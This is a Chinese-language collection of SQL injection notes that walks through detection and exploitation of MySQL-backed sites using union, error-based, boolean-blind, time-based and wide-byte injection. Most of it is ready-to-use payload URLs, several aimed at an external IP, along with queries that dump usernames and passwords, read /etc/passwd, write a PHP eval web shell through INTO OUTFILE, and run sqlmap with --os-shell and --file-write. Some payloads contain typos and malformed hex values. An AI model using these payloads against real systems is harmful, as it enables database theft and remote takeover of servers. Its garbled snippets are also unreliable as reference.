SQL注入相關知識整理
SQL注入基礎
什么是SQL注入
SQL注入(Sql Injection )
是一種將SQL語句插入或添加到應用(用戶)的輸入參數中的攻擊
這些參數傳遞給后台的SQL數據庫服務器加以解析並執行
哪里存在SQL注入?
- GET
- POST
- HTTP頭部注入
- Cookie注入
任何客戶端可控,傳遞到服務器的變量,並且和數據庫進行交互,都有可能存在sql注入。
SQL注入的分類
根據SQL數據類型分類
- 整型注入
- 字符串類型注入
根據注入的語法分類
- UNION query SQL injection(可聯合查詢注入)
- Error-based SQL injection(報錯型注入)
- Boolean-based blind SQL injection(布爾型注入)
- Time-based blind SQL injection(基於時間延遲注入)
- Stacked queries SQL injection(可多語句查詢注入)
如何去判斷SQL注入漏洞
- and 1=1 / and 1=2 回顯頁面不同(整形判斷)
- 單引號判斷 ‘ 顯示數據庫錯誤信息或者頁面回顯不同(整形,字符串類型判斷)
- \ (轉義符)
- -1/+1 回顯下一個或上一個頁面(整型判斷)
- and sleep(5) (判斷頁面返回時間)
MySQL數據庫的特性
MySQL中3種注釋風格
- # (url編碼為%23)
- – (–后邊要跟上一個或多個空格 --+)
- /* … */
- /*! … */ 內聯注釋
MySQL函數利用
常用函數
- user()
- database()
- @@version
- session_user()
- @@basedir
- @@datadir
- @@version_compile_os
。。。。。
load_file( )函數 讀文件操作
前提
- 知道文件絕對路徑
- 能夠使用union查詢
- 對web目錄有寫權限
- UNION SELECT 1,load_file(’/etc/passwd’),3,4,5,6#
- UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5,6#
into outfile( )寫文件操作
前提
- 文件名必須全路徑(絕對路徑),
- 用戶必須有寫文件的權限
- 沒有對 ‘ 引號過濾
SELECT ‘<?php phpinfo(); ?>’ into outfile ‘c:\Windows\tmp\1.php’
連接字符串函數
- concat(str1,str2)
- concat_ws(separator, str1,str2…)
- group_concat(str1,str2…)
MySQL中information_scheme庫
SCHEMATA表
字段:SCHEMA_NAME
TABLES表
字段:TABLE_SCHEMA, TABLE_NAME
COLUMNS表
字段:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME
MySQL中UNION規則
- UNION必須由兩條或兩條以上的SELECT語句組成,語句之間用關鍵字UNION分隔
- UNION中的每個查詢必須包含相同的列。
- UNION會從查詢結果集中自動去除了重復行。
UNION query SQl injection
利用前提
頁面上有顯示位
優點:
方便、快捷、易於利用
缺點:
需要顯示位
步驟
判斷列數
order by 10 order by 20 order by 15 …
判斷顯示位
url?id=-1 union select 1,2,3,4,5
獲取當數據庫名稱和當前連接數據庫的用戶
url?id=-1 union select 1,2,databaes(),4,5 url?id=-1 union select 1,2,user(),4,5
數據庫例舉
列出所有數據庫
limit 一個一個打印出來庫名
select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
group_concat 一次性全部顯示
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
列出(數據庫:test)中所有的表
limit 一個一個打印出來字段名
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘test’ limit 0,1
group_concat 一次性全部顯示
select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x674657374
注意:數據庫名稱可以用十六進制來代替字符串,這樣可以繞過單引號的限制。
列出(數據庫:test 表:admin )中所有的字段
limit 一個一個打印出來
select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=‘baji’ and TABLE_NAME=‘users’ limit 0,1
group_concat 一次性全部顯示
select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e
列出(數據庫:test 表:admin )中的數據
limit 一個一個打印出來
select username,passwd from test.admin limit 0,1
group_concat 把 一次性全部打印
select group_concat(concat(username,0x20,passwd)) from test.admin network
SQL注入實戰
mysql手工注入方法
?id=1%df’(測試是否存在注入,報錯則存在) ?id=1%df’-- -(注釋后面多余的’limit 0,1 頁面正常)
?id=1%df’order by n-- -(order測試字段長度,報錯則說明超出最大長度)
?id=-1%df’union select 1,2,3-- -
?id=-1%df’union select 1,2,database()-- -(在頁面回顯出當前的數據庫名字)
?id=-1%df’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -(爆出當前數據庫的所有表)
?id=0%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ (爆出目標表的列名) ?id=0%df‘ union select 1,2,group_concat(username,0x3a,password) from users--+(爆出目標列的字段名字)
mysql手工注入命令順序
http://219.153.49.228:48120/new_list.php?id=1 首先嘗試id=1' and 1=1-- - 或者id=1" and 1=1-- - 或者1") and 1=1-- - 或者 1 and 1=1-- - 假如是id=1' and 1=1-- - 那么and 1=1 就是我們可控的點 接下來在這個位置進行替換就好
http://219.153.49.228:48120/new_list.php?id=1' order by 4-- - 判斷字段個數 讓id查詢不到 顯示我們的union select的值 且union select 后的數字遵循order by 判斷的值 http://219.153.49.228:48120/new_list.php?id=-1' union select 1,2,3,4-- -
查詢當前數據庫 http://219.153.49.228:48120/new_list.php?id=-1 union select 1,database(),3,4-- - http://219.153.49.228:48120/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()-- - (注入出表名)
http://219.153.49.228:48120/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="StormGroup_member"-- -(注入出列名)
http://219.153.49.228:48120/new_list.php?id=-1 union select 1,group_concat(name,0x3a,password),3,4 from StormGroup_member-- -(注入出字段值)
報錯注入
注出所有表 http://test ?id=1' and (select 1 from (select count(*),concat(((select (schema_name) from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- - http://test?id=2'
and (select 1 from (select count(*),concat(((select concat(schema_name,';') from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -
當前數據庫 http://test ?id=2' and (select 1 from (select count(*),concat(((select concat(database(),';'))),floor (rand(0)*2))x from information_schema.tables group by x)a) -- - 當前數據庫的表 http://test ?id=2' and (select 1 from (select count(*),concat(((select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -
列名 http://test ?id=2' and (select 1 from (select count(*),concat(((select concat(column_name,';') from information_schema.columns where table_name='users' limit 5,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -
報字段 http://test ?id=2' and (select 1 from (select count(*),concat(((select concat(password,';') from users limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -
報錯注入 http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php ?id=2' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) -- - http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php ?id=2' and updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- - http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.php ?id=2' and updatexml(1,concat(0x7e,(select (column_name) from information_schema.columns where table_name="users" limit 0,1),0x7e),1)-- -
布爾注入
布爾盲注 步入正題~看到網址加單引號 http://localhost/control/sqlinject/bool_injection.php?id=1' 發現頁面變了,然后我們就根據頁面的變化來判斷我們執行的語句是否正確。 然后構造' or 1=1%23 http://localhost/control/sqlinject/bool_injection.php?id=1' or 1=1%23 發現頁面又變正常了,注入點就在這了。接下來從1開始判斷字段個數 http://localhost/control/sqlinject/bool_injection.php?id=1' order by 3%23 在3時頁面發生了變化,得出字段個數為2。然后利用left()函數判斷測試出當前數據庫名字,可以先判斷當前數據庫名字長度(可有可無,不過這樣心里有底) http://localhost/control/sqlinject/bool_injection.php?id=1' and length(database())>4%23 就是這樣一步一步測試看頁面是否發生變化,測試出長度為5 http://localhost/control/sqlinject/bool_injection.php?id=1' and left(database(),1)>'a' %23 調整字符和大於號小於號來判斷數據庫第一個字符是什么,機智的你想到了二分法能較快定位出第一個字符,結果是’w‘。 那第二個字符怎么判斷出來呢?改一下數字?對 但后面得加一個測試字符 http://localhost/control/sqlinject/bool_injection.php?id=1' and left(database(),2)>'wa' %23 最后得出當前數據庫名字:webug 心思縝密的你說萬一flag不在當前數據庫呢,或者我想要其他的數據庫的名字呢?別着急,先爆這個當前數據庫里面的表 http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='webug' limit 0,1),1,1))>98%23 這是在定位webug里第一個表第一個字符,那怎么判斷第二個字符呢? 就是修改為substr(***,2,1) 機智的你那么也就想到了判斷第二個表的方法 limit 1,1 爆出webug下的表:data_crud,env_list,env_path,flag,sqlinjection,user,user_test 到這里爆所有數據庫名字的方法也就清晰了 http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>97%23 /************************************************************************************** 我毫不猶豫選擇了爆flag這個表(大聲哭泣) http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1,1))>100%23 flag表里面有id flag 那flag里面一定有我想要的(信心滿滿) http://localhost/control/sqlinject/bool_injection.php?id=1' and ascii(substr((select flag from flag where id=1 limit 0,1),1,1))>99%23 我嘗試修改 limit 1,1報錯 id=2也報錯 憑借着力大出跡爆出來:dfafdasfafdsadfa 好熟悉的內容這不就是第一關的flag嗎?提交后顯示錯誤,后來我看了數據庫內容發現flag里就一條內容。。。 也就說真正的flag在其他表里
(寬字節注入)大碗寬面
大碗寬面 mysql手工注入方法 以查找書籍頁面為例,post一個name=1給后端,拼接到sql語句select * from books where bookid =‘$id’limit 0,1; ?id=1’(測試是否存在注入,報錯則存在) ?id=1’-- -(注釋后面多余的’limit 0,1 頁面正常)
?id=1’order by n-- -(order測試字段長度,報錯則說明超出最大長度)
?id=-1’union select 1,2,3-- -
?id=-1’union select 1,2,database()-- -(在頁面回顯出當前的數據庫名字)
?id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -(爆出當前數據庫的所有表)
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ (爆出目標表的列名) ?id=0‘ union select 1,2,group_concat(username,0x3a,password) from users--+(爆出目標列的字段名字) http://219.153.49.228:48896/new_list.php?id=-1%df%27%20union%20select%201,2,3,4,database()--%20- http://219.153.49.228:48896/new_list.php?id=-1%df%27%20union%20select%201,2,3,4,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20--%20- notice,stormgroup_member 爆表名的時候要進行hash編碼 id=-1%df' union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_name=0x73746F726D67726F75705F6D656D626572-- -
盲注
猜測數據庫 ?id=1' and length(database())=8-- - id=1' and left(database(),1)>'a' -- - 1
id=1' and left(database(),1)>'z' -- - 0 在a-z之間 id=1' and left(database(),1)>'r' -- -1
id=1' and left(database(),1)>'s' -- -0 id=1' and left(database(),2)>'sa'-- -
猜測表 id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1)b,1))>n a是從0開始第幾個表,b是為第幾個字符,n是ASCII所對應的十進制數 第一個表 ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 第二個表 ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 1,1),1,1))=101 判斷user表 http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='user' limit 0,1),1,1))>100%23 爆出字段 http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68-- -
時間盲注和union查詢
http://localhost/Tkitn/sqlitest/Less-5/?id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))-- - if(length(database())>=8,sleep(5),1)-- - 判斷長度 ?id=1' and if(length(database())>=8,sleep(5),1)-- - 數據庫
if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(5),1)(表名) http://localhost/Tkitn/sqlilabs/Less-2/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"-- - http://localhost/Tkitn/sqlilabs/Less-2/?id=-1' union select 1,2,group_concat(concat_ws("-",username,password)) from users-- -
延時注入
猜測sql為: select * from table where id = $id+(后面可能有的限制語句或嵌套查詢語句等等,因此我都習慣在注入語句后面跟注釋符屏蔽這些可能的干擾) 標題是延時注入,那么首先想到的就是用sleep()函數來讓頁面延時打開,進而判斷出延時注入點。 假設$id為數字型: url?id=1 and sleep(1) %23,無反應 假設$id為字符型: 括號:url?id=1) and sleep(1) %23,無反應 雙引號:url?id=1" and sleep(1) %23,無反應 單引號:url?id=1' and sleep(1) %23,有反應了,頁面有明顯的延遲 至此,延時注入點就找到了,我們就可以利用它來獲取我們想要的信息了。 比如用戶名長度 url?id=1' and sleep(if(length(user())<15,0,3)) %23 url?id=1' and sleep(if(length(user())<15,0,3)) %23 比如操作系統名 url?id=1' and sleep(if("Win32"=@@version_compile_os,0,3)) %23 以上只是說明思路,具體用哪種函數並不重要,不過還是介紹下常用的幾種函數: sleep() //等待一定時間后執行SQL語句,單位為秒,如sleep(3)為等待3秒 if(條件,true,false) //條件為真返回true值,否則返回false值,如if(a=b,0,5)為如果a等於b則返回0,否找返回5。常用條件:=、<、<=、>、>= length(str) //返回長度 mid(str,start,length) //截取字符串,從1開始,0以及超過長度部分返回NULL ord(str) //返回字符串第一個字符的 ASCII 值。
注入讀文件 寫shell操作
檢驗:less32 改mysql.ini配置 secure-file-priv= sqlmap讀文件 sqlmap -u "http://192.168.43.43/sqli-labs-master/Less-1/?id=1" --file-read "C:\phpstudy_pro\WWW\2.php" sqlmap --os-shell 選擇 4(PHP) 選擇 2(custom location(s)) 網站根目錄C:/phpstudy_pro/WWW/ sqlmap 寫shell sqlmap -u "url" --file-write ~/Desktop/shellTT.php --file-dest C:/phpstudy_pro/WWW/shellxbw.php 手工寫shell http://192.168.43.43/sqli-labs-master/Less-1/?id=1' union select 1,'<?php eval($_POST[a]);?>',3 INTO OUTFILE 'C:/phpstudy_pro/WWW/99.php'-- - 手工讀文件 http://192.168.43.43/sqli-labs-master/Less-1/?id=-1' union select 1,load_file("C:/phpstudy_pro/WWW/2.php"),3-- - less-7 也是讀文件
利用sqlmap的SQL注入實驗
SQL注入就是通過把SQL(Structured Query Language,結構化查詢語言)命令插入到提交的Web表單或輸入域名或頁面請求的查詢字符串中,達到欺騙服務器執行惡意的SQL命令的目的。
對於一個存在數據庫安全漏洞的網站,SQL注入攻擊一般通過構建特殊的輸入作為參數傳入Web應用程序,使得構造的SQL語句能夠在服務器端執行,進而得到攻擊者所要的結果,而不是按照設計者意圖去執行SQL語句。系統受到SQL注入攻擊的主要原因是程序沒有細致地過濾用戶輸入的數據,直接將提交的參數拼接到SQL語句中解析,導致特殊構造的SQL語句可以在服務器端被執行。
sqlmap是一個由Python語言開發的自動化SQL注入工具,其主要功能是掃描、發現並利用給定的URL的SQL注入漏洞。sqlmap常用的注入方法有以下幾種:
- 基於布爾的盲注,即可以根據返回頁面判斷條件真假的注入;
- 基於時間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷;
- 基於報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中;
- 聯合查詢注入,可以使用union的情況下的注入;
- 堆查詢注入,可以同時執行多條語句的執行時的注入。
輸入“python sqlmap.py --version”檢查sqlmap是否安裝成功 輸入“python sqlmap.py -hh”, “-hh”參數用於查看sqlmap的使用說明 輸入“python sqlmap.py -u "http://192.168.117.135/xxx.php?xxx_id=1"”,其中“-u”參數用於指定注入點的URL。 輸入“python sqlmap.py –u "http://192.168.117.135/ry.php?ry_id=1" --dbs”,其中參數“--dbs”用於列舉數據庫。 輸入“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng --tables”,其中參數“-D”用於指定數據庫名稱,“--tables”參數用於列舉表。 輸入“python sqlmap.py -u "http:// 192.168.117.135/ry.php?ry_id=1" -D jnng -T root --columns”,其中參數“-T”用於指定表名稱,“--columns”參數用於指定列出表中字段。 輸入“python sqlmap.py -u "http://192.168.117.135/ry.php?ry_id=1" -D jnng -T root -C root_id,root_name,root_pass --dump”,其中參數“-C”用於指定字段名稱,參數“—dump”用於導出數據。
--os-shell
--file-read "/user/www/flag.php